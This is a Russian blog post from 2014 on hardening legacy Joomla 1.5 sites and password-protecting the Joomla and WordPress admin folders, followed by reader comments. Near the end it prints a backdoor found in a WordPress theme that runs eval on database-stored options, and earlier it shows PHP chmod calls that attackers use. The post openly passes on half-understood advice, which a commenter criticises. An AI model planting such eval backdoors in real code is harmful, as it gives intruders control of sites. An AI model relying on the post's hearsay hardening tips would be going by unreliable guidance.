Как защитить Joomla 1.5 от вирусов и постоянных взломов, а также поставить дополнительную защиту на админку Joomla и WordPress

22 Декабрь, 2014

Здравствуйте, уважаемые читатели блога KtoNaNovenkogo.ru. Сегодня хочу поговорить про безопасность работы и некоторые методы защиты сайта от взлома. К сожалению, я не являюсь экспертом в этой области и мои познания мало выходят за рамки статьи про проверку и защиту своего сайта от вирусов, но я просто опишу свой недавний опыт. Ничего сложно я не использовал, но надеюсь, что это повысит безопасность работы с моими сайтами.

Речь пойдет о двойной аутентификации для входа в админпанель движка вашего сайта (работать должно на любых CMS, но лично я проверял только на WordPress и Joomla). Защита ставится на уровне сервера, поэтом все попытки подбора пароля к админке (брутфорса) не будут создавать повышенный нагрузки на хостинг и обойти ее довольно сложно. Ставится она легко (буквально в несколько действий) и из всех познаний требует только внимательности и умения получать доступ к сайту по ФТП.

Ну и также приведу пару действий, которые я применил к сайтам на уже морально устаревших движках Joomla 1.5, которые мне нет особого смысла переносить на Joomla 3, но которые у меня постоянно ломают и используют сервер для рассылки спама. Описанные действия я произвел недавно, поэтому не могу констатировать факт прекращения заражения сайтов вирусами, но на это надеюсь. В общем, я попробовал чуток повысить взломоустойчивость Joomla 1.5.

Как защитить Joomla 1.5 от взлома и проникновения вирусов


Как я уже упомянул выше, проблема заключается в постоянных взломах двух моих сайтов, которые работают под управлением Joomla 1.5. Можно считать их заброшенными, ибо новые материалы я на них не добавляю, но они исправно приносят доход (с размещения статей из Миралинкса и Вебартекса, а также ссылок с Гогетлинкса). В общем, выбросить их жалко, а переводить на новую версию движка «в лом» (жалко потраченного времени и сил).

Остается либо постоянно мониторить нагрузку на сервер и при ее повышении искать среди файлов движков шелы и прочих зловредов, либо каким-то образом усиливать защиту. Для поиска зловредов я выкачиваю файлы движка на компьютер и проверяю их ДокторомВебом и Айболитом. Первый находит далеко не все, а последний видит врага слишком часто там, где его нет, но каких-то других эффективных способов я не знаю.

Кстати, скрипт Айболит умеет работать не только на сервере, но и прямо на компьютере в папке с скачанными файлами движка (штатный антивирус только не забудьте отключить при скачивании сайта, ибо он может часть файлов почикать, а на сервере-то они все равно останутся).

Подробная инструкция приведена в расположенном ниже ролике, а если говорить кратко, то вы скачиваете с сайта Майкрософта интерпретатор языка PHP и устанавливаете его. После чего файл скрипта Айболита под названием ai-bolit.php открываете именно с помощью этого самого интерпретатора:

Скорость сканирования зависит от быстродействия вашего компьютера и количества файлов в движке вашего сайта. У меня это заняло несколько часов для http://ktonanovenkogo.ru, ибо даже картинки «Айболит» подозревает в сокрытии вирусов, а этих самых картинок у меня куча, да и файлы кеша много времени отнимают при сканирования. Для сайтов на Joomla 1.5 проверка проходила намного быстрее.

Решил потратить день для поиска пути повышения безопасности сайтов. Сделать удалось совсем немного, но все же лучше, чем ничего. Давайте начнем с укрепления защиты (со снижения уязвимости) двух сайтов на Joomla 1.5. Было сделано следующее:

  1. Обновил Joomla до последней версии 1.5.26. Скачал обновление с этой страницы (полторашная версия там представлена в самом низу):

    Обновление проходит банально просто. Распаковываете скачанный архив и все имеющиеся в нем папки и файлы копируете в корень своего сайта. На вопрос о замене уже имеющихся на сервере файлов отвечаете «да». Все.
  2. Установил последний патч обновления безопасности для Joomla 1.5. Ставится он так же, как обновление — простым копированием имеющихся в архиве двух папок в корень вашего сайта по ФТП.
  3. В принципе, нужно было бы еще и все уставленные на этих сайтах расширения обновить до последней версии, ибо через дыры в их безопасности тоже могут ломать. Но у меня пока на это еще нет времени, поэтому я ограничился банальным удалением JCE, который в старых версиях, априори, имеет уязвимости для проникновения и внедрения вирусов.
  4. Дальше я последовал совету «из интернета» и убрал в одном из файлов Joomla 1.5 директиву вывода версии движка, на котором работает сайт. «Знатоки» утверждают, что этим самым я на девяносто процентов себя обезопасил, ибо ломают сайты почти всегда не по заказу, а по «шаблону», т.е. находя с помощью банального поиска в Google или Яндекса (с использованием операторов) уязвимые движки или используемые на них «дырявые» расширения. Например, при просмотре исходного кода страниц своих сайтов на Joomla 1.5 я четко видел указание движка в метатеге:

    <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" />

    Спрятав эту информацию от поисковиков, я должен выпасть из потенциальных списков на взлом очередного начинающего хакера.

    Внимание! Переде тем, как приступить к описанных ниже действиям, обязательно сохраните на компьютере копии тех файлов, где что-то будете менять (а еще лучше скачайте все файлы движка на комп). В любом случае «я в домике», ибо предупреждал...

    Для этого нужно подключиться к сайту по ФТП (например, с помощью Файлзилы, но опять же, напоминаю, что пароли в ней или каком-либо другом клиенте хранить нельзя, ибо трояны на вашем компьютере знают, как их оттуда выудить) и найти вот такой вот загадочный файл:

     /libraries/joomla/document/html/renderer/head.php

    Открываете его и ищите такую вот строку (например, внутренним поиском Нотепада++):

    $strHtml .= $tab.'<meta name="generator" content="'.$document->getGenerator().'" />'.$lnEnd;

    И сносите ее на фиг, после чего сохраняете произведенные изменения в файле и транслируете файл через Файлзилу на сервер в уже измененном виде. Ну, как бы и все. Хотя, нет. Если вы используете в Джумле кеширование, то указание версии движка сайта исчезнет с его страниц только после сброса кеша.

Как еще защитить Joomla 1.5 от вирусов и потоковых взломов


  1. Также «специалисты» уверяют, что сайты на Joomla 1.5 ломают «на раз-два» путем использования имеющейся в движке встроенной функции восстановления паролей (через нее якобы можно сменить пароль админа). Даже если вы регистрацию на своем сайте не используете и ссылку на восстановление нигде не выводите, то это не значит, что эту уязвимость вы прикрыли. Просто добавьте следующий фрагмент к урлу главной страницы своего сайта и получите искомую возможность:
    /index.php?option=com_user&view=reset

    Собственно, для закрытия этой лазейки (но вот как ей воспользоваться для взлома я так и не понял) можно просто удалить такой вот файлик:

    /components/com_user/models/reset.php
    Правда после этого никто из зарегистрированных у вас на сайте пользователей воспользоваться функцией восстановления паролей не сможет, но для меня это было не важно, ибо регистрации предусмотрено не было.
  2. А еще говорят, что такая полезная шняга, как просмотр позиций для модулей в шаблонах Joomla 1.5 с помощью добавления к адресу страницы «?tp=1», тоже позволяет писателям вирусов и охотникам до чужого добра добраться-таки до каких-то чувствительных зон вашего сайта и внести в него деструктив, либо как-то по другому над ним надругаться. Штука эта опять же убирается путем правки одного из файлов движка.
    /libraries/Joomla/application/module/helper.php

    Там нужно удалить два фрагмента кода, или закомментировать, заключив их в /* и */ (этот код не будет выполняться интерпретатором языка). Первый фрагмент такой:

    if(count($result) == 0) {
             if(JRequest::getBool('tp')) {
                     $result[0] = JModuleHelper::getModule( 'mod_'.$position );
                       $result[0]->title = $position;
                       $result[0]->content = $position;
                       $result[0]->position = $position;
             }
    }

    А второй такой:

    if(JRequest::getBool('tp')) {
             $attribs['style'] .= ' outline';
    }

    Собственно, после этого сбрасываете кеш и пытаетесь просмотреть позиции модулей в вашем шаблоне с помощью такой вот конструкции:

    http://ktonanovenkogo.ru/?tp=1

    Ежели не получилось, то вы эту дыру, будем надеяться, закрыли.

  3. Очень часто взламывают сайты не снаружи, а изнутри. Трояны и кейлогены на вашем компе знают, что и где искать, поэтому не храните пароли в ФТП клиентах (есть вариант использовать Кипас для этого дела).

    Еще круче считается — отключить возможность доступа к вашему сайту по ФТП, а вместо этого использовать SFTP, где передаваемая информация (в том числе и пароли) шифруется, что делает бесполезным ее перехват. Я, если честно, последним советом пренебрегаю по причине своей «темности». Еще есть вариант настройки доступа к вашему сайту по обычному ФТП только с определенного IP адреса (вашего компьютера), но у моего интернет-провайдера IP динамический (меняется в определенном диапазоне).
  4. Также советуют установить права доступа на файлы и папки движка не выше тех, которые реально требуются для его работы. На самом деле, я особо не думая поставил по шаблону:755 на папки и 644 на файлы. Устанавливать права можно все с помощью той же Файлзилы. Причем указанные права нужно применять не только для каталогов корневой папки, но и для всех каталогов и файлов, которые лежат внутри них.

    На файлы в корневой папке я поставил права 444, а на каталоги tmp и logs — 705. Можно было бы, конечно, и более жестко «зажать», но у меня в этом нет особого опыта, а тратить время на эксперименты было некогда. Да и к тому же все это не шибко-то серьезно сдержит хакеров, ибо существуют варианты смены прав доступа средствами языка PHP, что все наши старания может свести на нет. Для этого используют подобные команды:

    <?
    chmod ("file_name_1.php", 0666);
    chmod ("directory_name_2", 0777);
    ?>

    Поэтому для полного «бетонирования» файлов движка Joomla 1.5 от взлома и посягательств нужно запретить на выполнение смену прав доступа к файлам и папкам через PHP. Делается это в настройках сервера, но я пока не знаю как и где. Если знаете, то киньте ссылочку.

  5. Все вышесказанное призвано снизить вероятность взлома вашего сайта и проникновения на него шелов и прочих зловредов. Однако, предпринятые меры предосторожности не дают гарантии, поэтому было бы замечательно на сервере (где живет ваш сайт на Joomla 1.5) запретить выполнение шелов. Это позволит снять весь негатив от просочившейся нечести. Однако, лично я опять же это еще не осуществил по причинам свой «темности». Буду признателен за ссылки на поясняющие сей процесс материалы.
  6. Очень часто ломают сайты, получив доступ к административной панели. Понятно, что она защищена паролем, поэтому методом брутфорса (умного подбора) многие, даже казалось бы сложные пароли ломают на раз-два. Поэтому админку тоже нужно защищать, и лучше это делать не с помощью дополнительных расширений, а именно средствами сервера. Вариантов защиты существует несколько. Например, можно изменить тем или иным образом Урл адрес админки, чтобы взломщик не мог бы начать свое грязное дело.

    Другой метод защиты, который будет в подробностях описан ниже, заключается в создании дополнительной преграды на пути взломщика (живого человека или скрипта). Заключается он в запароливании директории с файлами админки (в Joomla это папка administrator, а в WordPress — wp-admin) средствами веб-сервера. Получается, что при обращении к админке сначала нужно будет ввести логин и пароль для доступа к папке, а уже потом логин и пароль для доступа, собственно, к админке движка. Причем, ломая первый рубеж обороны методами брутфорса, зловред не будет создавать сколь-нибудь значимой дополнительной нагрузки на сервер, что есть хорошо.
  7. Еще одним очень важным, на мой взгляд, замечанием по повышению защищенности ваших сайтов от вломов и заражения вирусами является соблюдение правила: одни сайт — одни аккаунт на хостинге. Да, это дороже, но намного безопаснее. При размещение на одном аккаунте, сразу все ваши сайты будут доступны по ФТП при получении доступа зловреда лишь к одному из них. Ломают сайты на автомате, и надеяться на то, что скрипты не пойдут вверх по дереву каталогов, было бы не разумно. К тому же, лечить пачку сайтов на одном акке хостинга очень тяжело, ибо занимаясь одним сайтом вы упускаете из вида уже вылеченный, который в это время заражают.
  8. Ломать, кстати, могут не только с вашего же сайта, но и с сайта вашего соседа по хостингу, если владельцы должным образом не позаботились об исключении этой возможности. Могут взломать и панель хостинга (типа, сипанели), но в любом случае число взломов по вине хостера мизерно по сравнения с числом взломов по виде беспечности владельцев сайтов.

Как защитить админку своего сайта от взлома?


Я хочу в деталях рассказать о том методе защиты, который совсем недавно использовал сам. Заключается он в запрете доступа к папкам, где лежат файлы административной панели сайта. Запрет устанавливается с помощью замечательного файлика .htaccess, который, по сути, позволяет дистанционно управлять настройками вебсервера, на котором установлен ваш сайт. При этом он умеет делать это избирательно.

Все директивы, прописанные в .htaccess, будут распространяться исключительно только на тот каталог, внутри которого он находится. Хотите что-то изменить в настройках применительно ко всему сайту? Помещайте тогда .htaccess в корневую папку. Ну, а нас интересуют настройки касательно только папки с файлами админки, поэтому мы его туда и поместим. В Joomla это будет папка administrator, в в WordPress — wp-admin.

Однако, одним .htaccess нам не обойтись. Придется задействовать еще и .htpasswd, где будет храниться логин и пароль для доступа к этой самой административной папке. Причем пароль будет храниться не в открытом виде, а в виде MD5 шифра. Восстановить по нему пароль не получится, но зато при вводе правильной комбинации в поле пароля, веб-сервер посчитает для этой комбинации MD5 сумму и сравнит с тем, что хранится в .htpasswd. Если данные совпадут, то вас пустят в админку Joomla или WordPress, а если нет, то не пустят.

Вот и все, осталось только воплотить намеченное в жизнь. Нужно ведь какие-то директивы в .htaccess добавить. Вы знаете какие? Я не знаю. Да и как-то нужно будет пароль перегнать в MD5 последовательность. Проблема. Однако, она имеет довольно простое решение. Добрые люди организовали онлайн-сервис по генерации содержимого для файла .htaccess и файла .htpasswd на основе придуманных вами логина и пароля. Правда, придется еще и абсолютный путь до административной папки указать, но это уже мелочи.

Итак, встречайте — великий и ужасный генератор защиты для админки вашего сайта. Понятно, да? Придумываете, а лучше всего на каком-нибудь генераторе паролей создаете две сложнейших комбинации букв, цифр и знаков, после чего их вводите в два верхних поля. Записать их только не забудьте, или в менеджер паролей запихнуть, иначе сами в админку войти не сможете и придется все описанное в этой части начинать делать заново.

Вот, теперича абсолютный путь нужно ввести до папки administrator или wp-admin. Знаете такой? Даже если не знаете, не беда. Подключаетесь к сайту по ФТП, создаете в его корне файлик с любым названием (да хоть с таким url_path.php) и добавляете в него такой вот простой код:

<?php
echo 'Document root: '.$_SERVER['DOCUMENT_ROOT'].'<br>';
echo 'Полный путь к скрипту и его имя: '.$_SERVER['SCRIPT_FILENAME'].'<br>';
echo 'Имя скрипта: '.$_SERVER['SCRIPT_NAME'];
?>

Потом заходите в браузер и вводите в адресную строку вот такой вот Урл (с вашим доменом, конечно же):

http://ktonanovenkogo.ru/url_path.php

В результате увидите тот самый интересовавший вас абсолютный путь. Вводите его в указанном выше генераторе файлов .htaccess и .htpasswd. Не забудьте добавить в конце этого пути название папки administrator или wp-admin без слеша на конце. Все, теперь жмете по кнопочке «Сгенерировать»

И по очереди переносите содержимое для файлов .htaccess и .htpasswd непосредственно в эти самые файлы.

Надеюсь, что вы их уже создали в папках administrator или wp-admin (в зависимости от используемого вами движка)?

Ну, а теперь уже пробуйте зайти в админку. Появляется окно с предложением ввести логин и пароль от вашего веб-сервера? В разных браузерах оно отрисовывается по разному, но в Хроме оно выглядит так:

Если что-то не клеится, то «курите» абсолютный путь до .htpasswd, прописанный в файле .htaccess. В этом случае просто вручную его поправьте при редактировании файла. Вот и все, что я хотел вам сегодня рассказать. Если хотите поругать или что-то добавить, то в путь.

Вирус в WordPress?


Уже после написания этой статьи обнаружил на своем блоге (http://ktonanovenkogo.ru) зловреда (или что-то такое, что установилось в обход моей воли). Я просто хотел что-то там поменять в коде и залез в файл footer.php из папки с используемой темой оформления. В самом его низу, непосредственно перед тегом Body, мне бросился в глаза вызов какой-то незнакомой мне функции (гуглил по ее названию, но ничего путного не обнаружил):

<?php wp_custom_page_links_return(); ?>

Название вроде бы вменяемое. Примечательно, что недели за три до этого я случайно обнаружил, что у меня появилась новая таблица в базах данных двух моих блогов на WordPress (http://ktonanovenkogo.ru и еще одного). Название у нее было просто замечательное — wp-config. Гугление по этому названию опять ничего путного не дало, ибо все ответы были связаны с одноименным файлом wp-config.php.

Таблица эта здорово быстро росла в размерах (до сотни мегабайт на http://ktonanovenkogo.ru) и в нее писались адреса страниц моего сайта с различными параметрами. Не поняв сути сего процесса, я просто снес эту таблицу и все. Кстати, у меня есть еще один блог на WordPress, но там ничего подобного не наблюдалось.

Ну, а вот тут обнаружил такую «говорящую» вставку в тему. Решил зайти в файл functions.php и поглядеть, не добавилось ли там чего-то созвучного с описанной выше строчкой внизу футера. Оказалось, что добавилось. Причем так аккуратненько — ни в самом верху, ни в самом низу, а второй (или третьей) сверху вписанной функцией:

function wp_custom_page_links_return()
{
	$option = get_option('wp_custom_page_links');
	@eval($option);
}
@eval(get_option('wp_brlinks'));

Тут и замечательный «eval» в глаза бросается. Что примечательно, Айболит (описанный выше) нашел этот фрагмент подозрительным, но у меня пока еще до него руки не дошли, ибо этот скрипт уж очень многих подозревает в неблагонадежности. По поводу этого кода я тоже гуглил и нашел пост (к сожалению, сейчас тот домен блокировали за неоплату) с описанием похожей проблемы. У товарища эта гадость просочилась с новой темой, в которую был зашит какой-то установочный код.

У меня же темы на обоих заразившихся блогах стоят уже по много лет. Наверное, была какая-то уязвимость в движке или используемом мною плагине, которой оперативно (на потоке) воспользовались недоброжелатели. В общем, проверьте у себя отсутствие подобных вкраплений. Дата изменения описанных файлов приходилась, по-моему, на середину сентября этого года.

Советую так же посмотреть подборку из 17 видеоуроков по обеспечению безопасности сайтов на Joomla. Они будут воспроизводиться один за другим автоматом, а если хотите, то можете переключаться на следующий урок с помощью соответствующей кнопки на панели плеера или выбрать нужный урок из выпадающего меню в верхнем левом углу окна плеера:

Видео уроки по Джумла 3

Приятного просмотра!

Удачи вам! До скорых встреч на страницах блога KtoNaNovenkogo.ru

Еще:

Рубрики :Основы WordPress ¦ Самоучитель Joomla

Комментарии и отзывы

ITишник

Давно уже пользуюсь данным видом дополнительной защиты.

Антон

Простите, автор, Вам не стыдно публиковать подобные вещи?

«Я не являюсь специалистом в этом вопросе, а если честно, вообще в нем не разбираюсь. Но я решил поделиться с вами опытом.»

Капец. Каким «опытом» вы делитесь? Опытом «я нагуглил, что надо удалить этот файлик, правда так и не понял, зачем»?

Какова ценность «опыта» человека, не владеющего даже азами вопроса, и в 2015 году продолжающего эксплуатировать три года назад снятую с поддержки CMS, потому что квалификация слабовата, миграция на 3.х для него — нетривиальная задача? Тут мне «знатоки» посоветовали строчку удалить. А тут по совету «специалиста» я удалил файлик. А еще была такая ситуация, я так и не разобрался, но грохнул таблицу БД. Кстати, случай был на том самом блоге, на котором я вас как эксперт поучаю уму-разуму.

Вы в своем уме? Если Вы хотите написать правдивый пост о безопасности 1.5, записывайте рецепт:

1. Мигрировать на последнюю версию. Без обсуждения. Для дилетантов процедура уже сто раз разжевана до мелочей.

2. Если же вам абсолютно и принципиально необходимо сидеть на 1.5, поводом для чего может являться использование самописного расширения, интегрирующего CMS с ERP-системой вашего предприятия, программист которого три года назад застрелился, захватив с собой в гроб исходники, и НЕ МОЖЕТ являться «ломает», «руки не доходят» и «на нее не станет пизж... ворованный шаблон, который мне так нравится» — нанимаете специалиста, который владеет информацией об уязвимостях 1.5 (их только публичных десятки, не считая приватных эксплойтов) и может адресно их закрыть.

Специалиста, блин, а не «специалиста» по раздаче советов «я не знаю зачем этот файл, поэтому для повышения безопасности его надо удалить».

И вы, значит, учите нубов делать сайты? Смешно.

Дмитрий

Антон: усилия нужно прилагать расставляя приоритеты. Если по мелочам размениваться (доводить до ума не шибко нужные сайты, но которые жалко просто удалить — пущай будут), то можно ни в чем не преуспеть.

Про Ваш тон я не буду особо говорить — хорошо что остались в рамках приличия.

Сергей

А я хотел бы сказать в поддержку этой статьи. У меня нет возможности мигрировать на joomla более новой версии, шаблон весь ломается в пух и прах. Я системный администратор, а не специалист по вёрстке шаблонов, но на работе мне вменили в обязанности «уход» за web-сервером с сайтом на основе joomla 1.5. Также приходится одновременно заниматься телефонией, прочим, прочим и пр.

И в это статье автор постарался максимально собрать информацию по мало-мальской защите этой устаревшей версии. Спасибо тебе автор, тьфу на осуждающих умников.

Дядюшка Смокер

Спасибо автору! Я сисадмин и мне тоже гемор по админу сайта. Кому не нравится статья, пусть идет лесом.

Подписаться не комментируя